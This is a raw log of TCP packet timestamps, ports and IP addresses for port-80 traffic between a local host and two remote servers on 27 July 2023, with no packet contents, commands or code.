Jul 27, 2023 18:27:09.269980907 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270034075 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270092010 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270123005 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270138025 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270164967 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270183086 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270219088 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270229101 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270235062 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270277977 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270296097 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270324945 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270359993 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270370960 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270379066 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270416975 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270438910 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270462990 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270469904 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270510912 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270538092 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270556927 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270556927 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270605087 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270628929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270652056 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270694971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270697117 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270730972 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270744085 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270777941 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270790100 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270793915 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270836115 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270849943 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270883083 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270914078 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270927906 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270935059 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.270973921 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.270993948 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271019936 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271024942 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271064997 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271081924 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271111012 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271111965 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271157026 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271158934 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271204948 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271219969 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271251917 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271269083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271301985 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271330118 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271348000 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271348953 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271394968 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271404028 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271440029 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271440029 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271486998 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271497011 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271532059 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271562099 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271579027 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271584988 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271625042 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271636009 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271670103 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271687984 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271713018 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271718025 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271763086 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271785975 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271807909 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271826029 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271853924 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271857977 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271902084 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271919966 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.271948099 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.271955967 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272001028 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272008896 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272046089 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272053957 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272094011 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272116899 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272140980 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272152901 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272186995 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272208929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272242069 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272250891 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272321939 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272322893 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272372961 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272404909 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272419930 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272448063 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272468090 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272492886 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272512913 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272528887 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272559881 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272587061 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272607088 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272619963 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272651911 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272694111 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272696018 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272694111 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272742987 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272748947 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272788048 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272818089 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272835970 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272882938 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272883892 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272907019 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272928953 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.272941113 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.272975922 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.273005962 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.273021936 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.273035049 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.273068905 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.273082972 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.273114920 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.273128986 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.273163080 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.273164034 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.273210049 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.273232937 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.273257971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.323950052 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.341231108 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.341526985 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.394175053 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.410499096 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.410614014 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.410980940 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.411113024 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.427180052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.427220106 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.525456905 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.525527000 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.525635004 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.543493986 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543550014 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543595076 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543638945 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543683052 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543720961 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543728113 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543776035 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543783903 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543783903 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543822050 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543833971 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543868065 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543868065 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543911934 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543914080 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.543957949 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.543958902 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544004917 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544009924 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544058084 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544080019 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544130087 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544138908 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544186115 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544186115 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544231892 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544238091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544279099 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544313908 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544365883 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544367075 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544410944 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544414043 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544461966 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544471025 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544508934 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544512987 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544557095 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544563055 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544605970 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544614077 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544651985 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544653893 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544698954 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544699907 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544744015 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544748068 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544791937 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544795036 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544841051 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544842958 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544886112 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544891119 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544936895 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.544939995 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544986963 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.544989109 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545032978 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545039892 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545088053 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545093060 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545129061 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545146942 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545197964 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545216084 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545264006 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545279980 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545325994 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545346975 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545397997 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545413017 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545459032 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545461893 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545509100 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545512915 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545552969 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545558929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545598984 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545608044 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545644999 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545649052 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545689106 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545695066 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545731068 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545734882 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545779943 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545782089 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545821905 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545825958 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545869112 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545872927 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545917034 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545922995 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.545962095 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.545968056 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546008110 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546010017 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546051979 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546051979 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546098948 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546101093 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546144962 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546147108 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546190977 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546192884 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546240091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546241045 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546288013 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546293974 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546350956 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546406984 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546417952 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546469927 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546485901 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546538115 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546538115 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546582937 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546582937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546629906 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546631098 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546679020 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546686888 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546724081 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546726942 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546768904 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546771049 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546817064 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546817064 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546860933 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546864033 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546911955 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546916008 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.546958923 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.546961069 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547004938 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547005892 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547050953 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547053099 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547100067 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547101974 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547147036 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547148943 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547192097 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547198057 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547238111 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547249079 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547286987 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547292948 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547331095 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547333956 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547382116 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547383070 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547427893 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547435999 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547487974 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547503948 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547552109 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547573090 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547621012 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547626019 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547672987 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547673941 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547722101 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547722101 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547768116 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547774076 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547815084 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547822952 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547863960 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547873020 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547909975 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.547910929 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547952890 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.547957897 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548006058 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548007965 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548054934 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548055887 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548100948 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.548100948 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548142910 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.548146963 CEST	80	49712	103.100.211.218	192.168.2.4
